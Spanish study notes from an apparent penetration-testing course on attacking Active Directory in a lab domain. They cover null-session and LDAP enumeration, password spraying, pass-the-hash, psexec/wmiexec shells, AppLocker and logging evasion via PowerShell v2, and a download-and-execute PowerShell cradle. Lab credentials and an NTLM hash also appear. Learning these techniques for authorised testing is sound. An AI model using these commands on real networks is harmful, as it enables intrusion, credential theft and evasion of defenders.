Podriamos usar enum4linux, CrackMapExec, rpcclient
rpcclient: para comprobar si un DC permite acceso por SMB NULL Session
rpcclient -U "" -N 172.16.5.5
> querydominfo
![[Pasted image 20260925184658.png]]
querydominfo: obtener informacion sobre el dominio y confirmar el acceso por sesion nula
> querydominfo
![[Pasted image 20260925184832.png]]
querydominfo: obtener politica de contraseñas
enum4linux: para enumeracion de hosts y dominios Windows
enum4linux -P 172.16.5.5
![[Pasted image 20260925184956.png]]
![[Pasted image 20260925185007.png]]
enum4linux-ng: version Python con caracteristicas adicionales:
enum4linux-ng -P 172.16.5.5 -oA ilfreight
![[Pasted image 20260925185100.png]]
-oA: salida JSON y YAML
![[Pasted image 20260925185131.png]]
Enumerando la Null Session desde Windows
Establecer sesion nula desde Windows y confirmar que podemos realizar mas ataques de este tipo:
net use \\DC01\ipc$ "" /u:""
![[Pasted image 20260925185255.png]]
Tambien podemos usar NOMBRE/PASS para conectarnos
Errores comunes al intentar autenticarnos:
- Error: la cuenta esta deshabilitada
net use \\DC01\ipc$ "" /u:guest
![[Pasted image 20260925185400.png]]
- Error: la contraseña es incorrecta
net use \\DC01\ipc$ "password" /u:guest
![[Pasted image 20260925185447.png]]
- Error: la cuenta esta bloqueada
net use \\DC01\ipc$ "password" /u:guest
![[Pasted image 20260925185513.png]]
LDAP y otros
Enumerando la politica de contraseñas desde Linux - Vinculacion anonima de LDAP
La vinculacion anonima de LDAP permite a los atacantes obtener informacion del dominio como una lista de usuarios, grupos, equipos…
Podemos usar herramientas como windapsearch.py, ldapsearch, ad-ldapdomaindump.py…
ldapsearch
Ejemplo para obtener politica de contraseñas:
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
![[Pasted image 20260925190256.png]]
En versiones recientes se usa -H en vez de -h
Enumerando politicas de contraseñas desde Windows
Si podemos autenticarnos en el dominio desde un host de Windows, podemos usar binarios integrados de Windows como net.exe
También podemos usar varias herramientas como PowerView, CrackMapExec portado a Windows, SharpMapExec, SharpView
- net.exe para politica de contraseñas:
net accounts
![[Pasted image 20260925190502.png]]
Esta política de contraseñas es excelente para un ataque de password spraying. El mínimo de ocho caracteres significa que podemos probar contraseñas débiles comunes como Welcome1. El umbral de bloqueo de 5 significa que podemos intentar 2-3 (para estar seguros) ataques de password spraying cada 31 minutos sin el riesgo de bloquear ninguna cuenta
- Usando PowerView para politica de contraseñas:
import-module .\PowerView.ps1
Get-DomainPolicy
![[Pasted image 20260925190603.png]]
Analizando la politica de contraseña
La política de contraseñas predeterminada cuando se crea un nuevo dominio es la siguiente
![[Pasted image 20260925190711.png]]
Ejemplo practico
Cual es la longitud minima por defecto cuando un dominio es creado –> 7
Cual es el minPwdLenght en Inlanefreight.local
- Nos conectamos via SSH
![[Pasted image 20260925191204.png]]
- Usamos enum4linux para ver la politica apuntando al DC (de escaneos anteriores sabemos que 172.16.5.5 es el DC ya que conseguimos el nombre NetBIOS)
![[Pasted image 20260925191140.png]]
![[Pasted image 20260925191151.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 4. Ajuste De Mira, Caza De Un Usuario
3. Password Spraying, Creando Una Lista De Usuarios Objetivo
Enumeracion detallada de usuarios
Varias formas de conseguir una lista de usuarios validos:
- Aprovechando las SMB NULL Sessions para recuperar la lista completa desde el DC
- Usando vinculacion anonima LDAP para consultar LDAP
- Usando Kerbrute para validar una lista de alguna fuente externa como RRSS (listas de usuarios: statistically-likely-usernames, LinkedIn: linkedin2username) con estas herramientas podemos crear listas de usernames de esas fuentes
- Usando credenciales de un sistema de ataque Linux o Windows ya sea proporcionado por cliente u obtenido por medios como LLMNR/NTB-NS Poisoning usando Responder o password spraying exitoso
Obteniendo lista de usuarios con diferentes metodos
SMB Null Session para obtener lista
Si estamos dentro de una maquina interna pero sin credenciales validas podemos usar SMN NULL Sessions
Si tenemos SYSTEM en un host Windows podemos consultar facilmente el AD para obtener info suplantando la cuenta maquina
enum4linux, rpcclient y CrackMapExec: herramientas para Null Sessions y vinculaciones anonimas LDAP
- Con enum4linux
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
![[Pasted image 20260925192732.png]]
- Con rpcclient > enumdomusers
rpcclient -U "" -N IP_DC
![[Pasted image 20260925192813.png]]
- Con crackmapexec –users (
badpwdcount: mostrara el numero de intentos fallidos para que podamos eliminar de la lista cuentas que esten cerca del umbral, badpwdtime: fecha y hora del ultimo intento)
crackmapexec smb IP_DC --users
![[Pasted image 20260925193008.png]]
Vinculacion anonima LDAP para obtener lista
windapsearch y ldapsearch: herramientas que podemos usar
- Con ldapsearch:
ldapsearch -h IP_DC -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
![[Pasted image 20260925193105.png]]
- Con windapsearch:
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
![[Pasted image 20260925193142.png]]
Kerbrute para obtener lista de usuarios
Si no tenemos ningun acceso desde nuestra posicion en la red interna podemos usar Kerbrute para enumerar el AD
Es mas rapida y potencialmente sigilosa
La herramienta envía solicitudes de TGT al controlador de dominio sin preautenticación de Kerberos para realizar la enumeración de nombres de usuario. Si el KDC responde con el error PRINCIPAL UNKNOWN, el nombre de usuario no es válido. Cada vez que el KDC solicita la preautenticación de Kerberos, esto indica que el nombre de usuario existe, y la herramienta lo marcará como válido
No causa fallos de inicio de sesión y no bloqueará cuentas
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
![[Pasted image 20260925195236.png]]
Enumeracion con credenciales para construir lista de usuarios
Con crackmapexec –users (badpwdcount: mostrara el numero de intentos fallidos para que podamos eliminar de la lista cuentas que esten cerca del umbral, badpwdtime: fecha y hora del ultimo intento)
sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
![[Pasted image 20260925195411.png]]
Ejemplo practico
Enumera los usuarios validos usando Kerbrute y /opt/jsmith.txt desde el host ATTACK01. Cuantos usuarios podemos enumerar desde una posicion desautenticada
- Tras conectarnos via SSH usamos Kerbrute para enumerar usuarios de una wordlist
![[Pasted image 20260925195605.png]]![[Pasted image 20260925195621.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 5. Pass Spraying
1. Internal Pass Spraying Desde Linux
Ahora que tenemos una wordlist de usuarios podemos hacer pass spraying
Pass Spraying interno desde Linux
Rpccliente:
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
![[Pasted image 20260926124328.png]]
Kerbrute
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
![[Pasted image 20260926124402.png]]
Crackmapexec
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
![[Pasted image 20260926124431.png]]
Validacion de creds con Crackmapexec
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123
![[Pasted image 20260926124503.png]]
Reutilizacion de contraseñas del administrador local
Si obtenemos creds de administrador local o un usuarios local es posible que se hayan reutilizado en el dominio
La reutilizacion de pass del administrador local es muy comun al usar gold images en despligues automatizados
Vale la pena apuntar a hosts de alto impacto
-
Si encontramos en una workstation las creds del admin local como $desktop%@admin123 podriamos intentar con servers $server%@admin123
-
Si encontramos las creds de un usuario admin no estandar como bsmith podemos tratar de usarlas contra una cuenta de dominio
-
Si obtenemos las creds de ajones vale la pena probar ajones_adm
-
Si obtenemos creds de un usuario del DOMINIO A y tiene relacion de confianza con DOMINIO B, podemos probarla para usuarios en el DOMINIO B
-
Si solo obtenemos el Hash podemos hacer un PtH en la red en cuentas de administrador local de cada host usando la flag –local-auth para probar que solo la pruebe 1 vez
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
![[Pasted image 20260926125241.png]]
Ejemplo practico
Encuentra un usuario que empiece por s y que su pass sea Welcome1
-
Nos conectamos via SSH y miramos la red interna
![[Pasted image 20260926125439.png]]![[Pasted image 20260926125450.png]]
-
Usamos enum4linux para crear una lista de usuarios validos apuntando al DC y luego con Kerbrute hacemos un pass spraying para obtener el usuario con la credencial Welcome1
![[Pasted image 20260926125842.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 5. Pass Spraying
2. Password Spraying Interno Desde Windows
DomainPasswordSpray: muy util cuando tenemos un foothold en Windows
También podríamos utilizar Kerbrute como en la seccion anterior
Si estamos autenticados en el dominio, la herramienta generará automáticamente una lista de usuarios desde Active Directory, consultará la política de contraseñas del dominio y excluirá las cuentas de usuario que estén a un intento de ser bloqueadas
Al igual que cuando ejecutamos el ataque de pulverización de contraseñas (password spraying) desde nuestro host Linux, también podemos proporcionar una lista de usuarios a la herramienta
Opciones:
- -UserList: si lo ponemos es para especificar una Lista de usuarios, sino la crea el
- -Password: suministraremos la pass
- -OutFile: escribe la salida tambien en un archivo
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
![[Pasted image 20260926131018.png]]
Password Spraying externo
Algunos objetivos comunes incluyen:
- Microsoft 0365
- Outlook Web Exchange
- Exchange Web Access
- Skype for Business
- Lync Server
- Portales de Microsoft Remote Desktop Services (RDS)
- Portales de Citrix que utilizan autenticación de AD
- Implementaciones de VDI que utilizan autenticación de AD como VMware Horizon
- Portales de VPN (Citrix, SonicWall, OpenVPN, Fortinet, etc. que utilizan autenticación de AD)
- Aplicaciones web personalizadas que utilizan autenticación de AD
Ejemplo practico
Usando el ejemplo mostrado encuentra un usuario con pass Winter2022
- Nos conectamos via RDP
![[Pasted image 20260926131314.png]]
- Ejecutamos DomainPasswordSpray sin UserList para que nos genere el la lista de usuarios y especificamos la Pass Winter2022
![[Pasted image 20260926131414.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 6. Profundizando En Rabbit Holes
1. Enumerar Los Controles De Seguridad
Tras obtener un foothold podriamos enumerar el estado defensivo de los hosts, enumerar el dominio a fondo…
Estos productos de seguridad pueden afectar a las herramientas que usamos
Windows Defender
Por defecto bloqueara herramientas como PowerView
Get-MpComputerStatus: para obtener el estado actual de Defender en el parametro RealTimeProtectionEnabled está establecido en True
Get-MpComputerStatus
![[Pasted image 20260926195736.png]]
AppLocker
Lista blanca de aplicaciones: lista de sw o ejecutables que pueden estar presentes y ejecutarse en el sistema. El resto seran bloqueados
AppLocker: es la solución de listas blancas de aplicaciones
Es habitual que las organizaciones bloqueen cmd.exe y PowerShell.exe y el acceso de escritura a ciertos directorios, pero todo esto se puede eludir
Pueden bloquear el ejecutable PowerShell.exe pero se pueden olvidar de otros directorios por lo que podemos simplemente llamarlo desde otras ubicaciones:
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowerShell_ISE.exe
- Miramos si esta activado AppLocker:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
![[Pasted image 20260926200157.png]]![[Pasted image 20260926200204.png]]
Modo de lenguaje restringido de PS
Bloquea muchas de las caracteristicas necesarias para usar PS de forma eficaz como el bloqueo de objetos COM
- Enumerar si estamos en este modo de lenguaje
$ExecutionContext.SessionState.LanguageMode
![[Pasted image 20260926200400.png]]
LAPS
Se usa para aleatorizar las contraseñas de administradores locales en los hosts de Windows y evitar movimiento lateral
LAPSToolkit facilita enormemente esto con varias funciones
Podemos usarla para analizar si esta activado para todos los ordenadores
- Identificar los grupos de Active Directory que tienen permisos delegados para leer las contraseñas de administradores locales gestionadas mediante LAPS
Find-LAPSDelegatedGroups
![[Pasted image 20260926200604.png]]
- Comprobar los derechos de cada ordenador con LAPS habilitado para cualquier grupo con acceso de lectura y usuarios. Estos pueden leer contraseñas de LAPS y pueden estar menos protegidos que los usuarios de grupos delegados
Find-AdmPwdExtendedRights
![[Pasted image 20260926200824.png]]
- Buscar ordenadores con LAPS habilitado, cuando expiran las contraseñas e incluso las contraseñas aleatorias en texto plano
Get-LAPSComputers
![[Pasted image 20260926200921.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 6. Profundizando En Rabbit Holes
2. Enumeracion De Credenciales Desde Linux
Ahora con un foothold y credenciales de dominio, es hora de profundizar en el dominio
Intereses:
-
Atributos de los usuarios
-
Computadoras de dominio
-
Pertenencia a grupos
-
Objetos de politica de grupo
-
Permisos
-
ACLs
-
Relaciones de confianza
La mayoria de herramientas no funcionan sin: credenciales o hash NTLM de cuenta del dominio o privs SYSTEM (equivalen a cuanta maquina que estara unida al dominio)
Crackmapexec
CrackMapExec
crackmapexec -h
![[Pasted image 20260926225609.png]]
Ver opciones de SMB
crackmapexec smb -h
![[Pasted image 20260926225651.png]]
crackmapexec PROTOCOLO -h
Parametros:
- -u USERNAME
- -p PASS
- IP
- –users (enumerar usuarios)
- –groups (enumerar grupos)
- –loggedon-users (enumerar usuarios que han iniciado sesion)
Enumeracion de usuarios del dominio
Nos dara informacion del badPwdCount, podemos hacer una lista de usuarios con mas de 0 badPswCount para que no se bloquee o usar --local-auth
sudo crackmapexec smb IP_DC -u USER -p PASS --users
![[Pasted image 20260926230023.png]]
Enumeracion de grupos de dominio
sudo crackmapexec smb IP_DC -u USER -p PASS --groups
![[Pasted image 20260926230059.png]]
Usuarios con sesion iniciada
sudo crackmapexec smb IP_DC -u USER -p PASS --loggedon-users
![[Pasted image 20260926230144.png]]
Busqueda de recursos compartidos
sudo crackmapexec smb IP_DC -u USERS -p PASS --shares
![[Pasted image 20260926230325.png]]
Vemos varios en modo lectura que vendria bien investigar a fondo
-M spider_plus: investiga cada directorio en busca de archivos
sudo crackmapexec smb IP_DC -u USERS -p PASS -M spider_plus --share 'SHARE'
![[Pasted image 20260926230510.png]]
Cuando termina escribe los resultados en el archivo /tmp/cme_spider_plus/<ip del host>
![[Pasted image 20260926230600.png]]
SMBMap
SMBMap: para enumerar recursos compartidos SMB desde un host de ataque Linux, sus permisos y contenido
smbmap -h
smbmap -u USER -p PASS -d DOMAIN -H IP_DC
![[Pasted image 20260926230736.png]]
Nos dira a los que podemos acceder desde nuestro usuario
Lista recursiva de los directorios de un share
smbmap -u USER -p PASS -d DOMAIN -H IP_DC -R 'SHARE' --dir-only
![[Pasted image 20260926230911.png]]
RPCClient
rpcclient: herramienta que puede enumerar, agregar, cambiar o eliminar objetos del AD a traves del protocolo Samba
man rpcclient
Muy util pero hay que encontrar el comando correcto
Si tenemos null smb sessions podemos hacer enumeracion no autenticada
rpcclient -U "" -P IP_DC
![[Pasted image 20260926231203.png]]
Enumeracion rpcclient
Cuandon miramos usuarios en rpcclient veremos un campo llamado rid: al lado de cada usuario que es un identificador unico para cada objeto puesto por Windows:
- SID o identificador de seguridad para el dominio: S-1-5-21-3842939050-3880317879-2865463114
- Cuando se crea un objeto de dominio, el SID se combina con un RID para crear un valor unico que representa al objeto
- El usuario
htb-student con RID:0x457 que en decimal seria 1111 tendra un SID: S-1-5-21-3842939050-3880317879-2865463114-1111
- Unico para el objeto dentro del dominio
Habra cuentas que tengan el mismo RID aunque esten en distinto equipo como: Administrator de un dominio que es RID: 0x1f4 y en decimal 500
- Enumeramos usuarios y vemos su RID
enumdomusers
![[Pasted image 20260926231731.png]]
- Miramos informacion especifica de un usuario usando su RID
queryuser 0x457
![[Pasted image 20260926231702.png]]
Proporciona muchas formas diferentes de enumerar, interactuar y explotar protocolos de Windows y encontrar la información que necesitamos usando Python
wmiexec.py y psexec.py
Psexec.py
Crea un servicio remoto subiendo un ejecutable con nombre aleatorio al recurso compartido ADMIN$, registra el servicio usando RPC y el administrador de control de servicios de windows. Despues proporciona una shell como SYSTEM
psexec.py DOMAIN/USER:'PASS'@IP
![[Pasted image 20260926232100.png]]
Wmicexec.py
Usa una shell semiinteractiva donde los comandos se ejecutan a traves del WMI, no deja archivos ni ejecutables en el host y genera menos registros. Despues de conectarse ejecuta como usuario de administracion local con que nos conectamos (es un enfoque mas sigiloso)
wmiexec.py DOMAIN/USER:'PASS'@IP
![[Pasted image 20260926232349.png]]
Windapsearch
Windapsearch: podemos usarlo para enumerar usuarios, grupos y computadoras del dominio mediante consultas LDAP
windapsearch.py -h
![[Pasted image 20260926232721.png]]
Opciones:
- –da: enumerar miembros del grupo de adminsitradores del dominio
- -PU: encontrar usuarios privs
python3 windapsearch.py --dc-ip IP_DC -u USER@DOMAIN -p PASS --da
![[Pasted image 20260926232849.png]]
Enumero 28 usuarios de Domain Admins
python3 windapsearch.py --dc-ip IP_DC -u USER@DOMAIN -p PASS -PU
![[Pasted image 20260926233005.png]]
Bloodhound.py
BloodHound.py: recolector en Python desde nuestro host de ataque Linux podemos usar BloodHound que obtiene grandes cantidades de informacion de AD
SharpHound: recolector en C#
BloodHound: GUI
neo4j: BBDD
bloodhound-python -h
![[Pasted image 20260926233220.png]]
sudo bloodhound-python -u USER -p PASS -ns IP_DC -d DOMAIN -c all
![[Pasted image 20260926233307.png]]
ls
![[Pasted image 20260926233327.png]]
Cargamos el zip en el GUI
sudo neo4j START
bloodhound
Para el ejercicio, si lanzamos desde Linux las creds son: user == neo4j / pass == HTB_@cademy_stdnt!
zip -r ilfreight_bh.zip *.json
Upload Data > ZIP > Open
![[Pasted image 20260926233608.png]]
Ahora que los datos están cargados, podemos usar la pestaña Analysis para ejecutar consultas contra la base de datos. Estas consultas pueden ser personalizadas y específicas a lo que decidas usando consultas Cypher personalizadas
![[Pasted image 20260926233634.png]]
La consulta elegida para producir el mapa anterior fue Find Shortest Paths To Domain Admins. Nos dará cualquier ruta lógica que encuentre a través de relaciones de usuarios/grupos/hosts/ACLs/GPOs, etc., que probablemente nos permitirán escalar a privilegios de Administrador de Dominio o equivalentes
Ejemplo practico
Que usuario de AD tiene el RID Decimal 1170
- Nos conectamos via SSH
![[Pasted image 20260926233938.png]]
- Nos metemos con null session
![[Pasted image 20260926234114.png]]
- Buscamos en hexadecimal el RID del usuario que estamos buscando y lo encontramos
![[Pasted image 20260926234138.png]]
![[Pasted image 20260926234205.png]]
Cuantos miembros tiene Interns group
- Enumeramos grupos para obtener el RID del grupo Inters
![[Pasted image 20260926234449.png]]![[Pasted image 20260926234511.png]]
- Usando las creds de forend contamos el numero de lineas con rid: y nos salen 10 usuarios
![[Pasted image 20260926234802.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 6. Profundizando En Rabbit Holes
3. Enumeracion De Credenciales Desde Windows
Herramientas para enumerar AD desde un host Windows
Modulo de PS ActiveDirectory
módulo de PowerShell ActiveDirectory: grupo de cmdlets de PS para administrar un entorno AD
- Asegurarnos de que este importado:
Get-Module
![[Pasted image 20260927110049.png]]
Listara todos los modulos disponibles, su version y posibles comandos para uso. Tambien muestra scripts y Gits personalizados
2. Hemos visto que NO esta importado asi que vamos a importarlo:
Import-Module ActiveDirectory
Get-Module
![[Pasted image 20260927110212.png]]
- Get-ADDomain: para obtener informacion del dominio:
Get-ADDomain
![[Pasted image 20260927110304.png]]
Imprime info como el SID del dominio, nivel funcional, cualquier dominio hijo
3. Get-ADUser: si filtramos por ServicePrincipalName nos dara una lista de cuentas susceptibles a Kerberoasting
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
![[Pasted image 20260927110455.png]]
- Get-ADTrust: verificar relaciones de confianza de dominio
Get-ADTrust -Filter *
![[Pasted image 20260927110537.png]]
Imprime cualquier relacion de confianza que tenga el dominio viendo si son dentro del bosque o con dominios de otros bosques. Ademas de la direccion de la confianza y el nombre del dominio con el que se tiene relacion
5. Get-ADGroup: informacion de grupos AD
Get-ADGroup -Filter * | select name
![[Pasted image 20260927110711.png]]
- Podemos tomar los nombres interesantes y obtener mas informacion de ellos:
Get-ADGroup -Identity "Backup Operators"
![[Pasted image 20260927110822.png]]
- Get-ADGroupMember: lista de miembros usando cmdlet
Get-ADGroupMember -Identity "Backup Operators"
![[Pasted image 20260927110900.png]]
Podemos ver que la cuenta backupagent pertenece al grupo Backup Operators
PowerView
PowerView: herramienta PS para obtener conciencia situacional dentro de un entorno AD. Enumeracion informacion de usuarios, equipos, grupos, ACL, confianzas….
Capacidades de PowerView:
![[Pasted image 20260927111111.png]]![[Pasted image 20260927111126.png]]![[Pasted image 20260927111138.png]]
- Get-DomainUser: proporciona informacion sobre todos los usuarios o usuarios especificos
cd C:\Tools\
Import-Module .\PowerView.ps1
Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accoun
![[Pasted image 20260927111250.png]]
-
Get-DomainGroupMember: enumerar informacion de grupos de dominio o de un grupo especifico. -Recurse hace que si se encuentra algun grupo que sea parte del grupo objetivo (membresia de grupo anidada) liste sus miembros
En la siguiente salida se ve como el grupo Secadmins es parte del grupo Domain Admins
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
![[Pasted image 20260927111503.png]]
Ahora sabemos a quien dirigirnos para una posible escalada de privs
3. Enumerar mapeos de confianza:
Get-DomainTrustMapping
![[Pasted image 20260927111608.png]]
- Test-AdminAccess: probar el acceso de administrador local en la maquina actual o en una remota
Test-AdminAccess -ComputerName ACADEMY-EA-MS01
![[Pasted image 20260927111646.png]]
Vimos en una de las salidas anteriores que nuestro usuario es admin en ACADEMY-EA-MS01. Podemos probar esto en diferentes hosts para ver si tenemos acceso administrativo
5. Buscamos usuarios con atributo SPN para ataques Kerberoasting:
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
![[Pasted image 20260927111829.png]]
SharpView
PowerView ahora esta obsoleto pero es muy buena herramienta
Muchas de las mismas funciones soportadas por PowerView pueden ser usadas con SharpView
.\SharpView.exe Get-DomainUser -Help
![[Pasted image 20260927112029.png]]
- Enumerar informacion sobre un usuario especifico
.\SharpView.exe Get-DomainUser -Identity forend
![[Pasted image 20260927112101.png]]
Recrea tantos ejemplos de PowerView como sea posible
Recursos compartidos
Permiten a los usuarios de un dominio acceder rápidamente a información relevante
Snaffler: es una herramienta que nos puede ayudar a obtener credenciales u otros datos sensibles en el entorno AD. Obtiene una lista de hosts dentro del dominio y luego enumera los hosts en busca de shares y directorios legibles. Una vez hecho esto itera a traves de cualquier directorio elgible y busca archivos que puedan servir para mejorar nuestra posicion
Tenemos que ejecutarlo desde un host unido al dominio
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
- -s: imprima los resultados en consola
- -d: dominio
- -o: escriba los resultados en un archivo
- -v: nivel de verbosidad
![[Pasted image 20260927112451.png]]
Podemos encontrar contraseñas, claves SSH, archivos de configuración u otros datos que pueden ser utilizados para ampliar nuestro acceso
Bloodhound
Puede identificar rutas de ataque (attack paths) en un entorno de AD analizando las relaciones entre objetos
Primero, debemos autenticarnos como un usuario de dominio desde un host de ataque Windows posicionado dentro de la red (pero no unido al dominio) o transferir la herramienta a un host unido al dominio
Para nuestros propósitos, trabajaremos con SharpHound.exe
- Ejecutamos SharpHound para la recopilacion de informacion del dominio
.\SharpHound.exe --help
![[Pasted image 20260927112937.png]]
.\SharpHound.exe -c All --zipfilename ILFREIGHT
![[Pasted image 20260927112953.png]]
-
Pasamos el zip a nuestro host de ataque o cargar bloodhound en el host de la red y abrirlo desde ahi
Las creds de bloodhound de la maquina son: neo4j: HTB_@cademy_stdnt!
-
Despues de abrir Bloodhound –> Upload Data > ZIP > Open
-
Busquedas:
- Podemos escribir
domain: en la barra de busqueda (parte superior izq) y elegir INLANEFREIGHT.LOCAL
- Podemos echar un vistazo a la info de los nodos
- Podemos ir a la pestaña de
Analysis> Find Computers with Unsupported Operating Systems para encontrar sistemas operativos obsoletos
![[Pasted image 20260927113355.png]]
A menudo veremos usuarios con derechos de administrador local en su host o que ocupan un rol suficientemente alto en la organización como para exigir estos derechos. Otras veces veremos derechos de administrador local excesivos distribuidos por toda la organización
-
Podemos ejecutar la consulta Find Computers where Domain Users are Local Admin (Buscar Equipos donde los Usuarios del Dominio son Administradores Locales) para ver rápidamente si hay algún host donde todos los usuarios tienen derechos de administrador local
Si este es el caso, entonces cualquier cuenta que controlemos puede ser utilizada típicamente para acceder al host o hosts en cuestión, y podríamos recuperar credenciales de la memoria o encontrar otros datos sensibles
![[Pasted image 20260927113540.png]]
Consultas personalizadas BloodHound Cypher
Consultas Cypher personalizadas: pegándolas en la caja Raw Query
Ejemplo practico
- Usando BloodHound determina cuantas cuantas susceptibles a Kerberoasting existen en INLANEFREIGHT domain
- Nos conectamos via RDP
![[Pasted image 20260927122015.png]]
- Lanzamos SharpHound como admin
![[Pasted image 20260927125012.png]]
- Mientras lanzamos neo4j y BloodHound GUI
![[Pasted image 20260927123407.png]]
Si da errror:
![[Pasted image 20260927123822.png]]
![[Pasted image 20260927123549.png]]
![[Pasted image 20260927122400.png]]
![[Pasted image 20260927123630.png]]
![[Pasted image 20260927122419.png]]
- Cargamos el ZIP y buscamos los usuarios con SPN
![[Pasted image 20260927125143.png]]
![[Pasted image 20260927125205.png]]
![[Pasted image 20260927125327.png]]
![[Pasted image 20260927125351.png]]
![[Pasted image 20260927125444.png]]
13 en total
- Que funcion de PowerView nos permite testear si un usuario adminsitrativo tiene acceso local o remoto a un host
- Abrimos una shell como admin, importamos PowerView y comprobamos en una maquina si nuestro administrador local se puede loguear en la maquina local
![[Pasted image 20260927123027.png]]
- Corre Snaffler y encuentra un archivo web config leible y di cual es el nombre del usuario en la linea de conexion
- Ejecutamos snaffler que detecata varios recursos compartidos y por pantalla vemos unas lineas de un archivo de configuracion que contienen USER y PASS de un usuario de BBDD
![[Pasted image 20260927122617.png]]
![[Pasted image 20260927122655.png]]
- Cual es la pass del usuario de la BBDD
![[Pasted image 20260927122656.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 6. Profundizando En Rabbit Holes
4. Vivir De La Tierra O Living Off The Land
Supongamos que nuestro cliente nos ha pedido que probemos su entorno de AD desde un host gestionado sin acceso a internet, y todos los esfuerzos para cargar herramientas en él han fracasado
Nuestro cliente quiere ver qué tipos de enumeración son posibles, por lo que tendremos que recurrir a “vivir del terreno”
Comandos de entorno para reconocimiento de host y red
![[Pasted image 20260927125618.png]]
hostname
[System.Environment]::OSVersion.Version
wmic qfe get Caption,Description,HotFixID,InstalledOn
ipconfig /all
set
echo %USERDOMAIN%
echo %logonserver%
Toda esta info se puede obtener en un solo comando:
systeminfo
![[Pasted image 20260927125742.png]]
Aprovechando PS
![[Pasted image 20260927125810.png]]
![[Pasted image 20260927125823.png]]
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"
![[Pasted image 20260927125907.png]]![[Pasted image 20260927125919.png]]
Degradacion de PS
Hay varios PS en el sistema, hasta la v PS 3.0 los comandos pasan al Visor de Eventos, si el defensor esto no lo sabe, podemos pasar a la version 2.0 y es posible que pasemos desapercibidos y no se registren en el Visor de Eventos
Get-host
powershell.exe -version 2
Get-host
get-module
![[Pasted image 20260927130214.png]]![[Pasted image 20260927130220.png]]
Fijate en la version al hacer get-host
Miramos uno de estos dos sitios:
-
Registros de aplicaciones y servicios > Microsoft > Windows > PowerShell > Operational
-
Registros de aplicaciones y servicios > Windows PowerShell
Se creará una entrada aquí cuando iniciemos una instancia de PowerShell
![[Pasted image 20260927130833.png]]
Con el Registro de Bloques de Script (Script Block Logging) habilitado, podemos ver que todo lo que escribimos en la terminal se envía a este registro. Si degradamos a PowerShell V2, esto ya no funcionará correctamente
Nuestras acciones posteriores quedarán enmascaradas
Los comandos que emitimos durante una sesión de shell normal se detuvieron después de iniciar una nueva instancia de PowerShell en la versión 2
Comprobando defensas
- Comporbando configuración del Firewall de Windows
netsh advfirewall show allprofiles
![[Pasted image 20260927131044.png]]
![[Pasted image 20260927131112.png]]
- Comprobando si Windows Defender se esta ejecutando
sc query windefend
![[Pasted image 20260927131144.png]]
- Comprobando el estado y ajustes de configuracion de Defender
Get-MpComputerStatus
![[Pasted image 20260927131240.png]]
Saber en qué revisión se encuentran nuestras configuraciones de AV y qué ajustes están habilitados/deshabilitados puede beneficiarnos enormemente. Podemos saber con qué frecuencia se ejecutan los análisis, si la alerta de amenazas bajo demanda está activa, y más
Usuarios que tienen iniciada una sesion
Comprobar si eres el único que ha iniciado sesión. Si empiezas a realizar acciones desde un host en el que hay otra persona, existe la posibilidad de que te descubran
qwinsta
![[Pasted image 20260927131349.png]]
![[Pasted image 20260927131407.png]]
arp -a
ipconfig /all
route print
netsh advfirewall show allprofiles
![[Pasted image 20260927131514.png]]![[Pasted image 20260927131522.png]]
WMI o Instrumental de Adminsitracion de Windows
Motor de scripting que se utiliza ampliamente en los entornos empresariales de Windows para recuperar información y ejecutar tareas administrativas en hosts locales y remotos
Comprobaciones rapidas (hoja de referencia):
![[Pasted image 20260927131611.png]]
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
Información sobre el dominio y el dominio hijo, y el bosque externo con el que nuestro dominio actual tiene una confianza
![[Pasted image 20260927131739.png]]
Comandos Net
Enumerar información del dominio. Pueden utilizar para consultar el host local y los hosts remotos, de forma muy parecida a las capacidades que proporciona WMI
Lista informacion como:
- Usuarios locales y del dominio
- Grupos
- Hosts
- Usuarios específicos en grupos
- Controladores de dominio
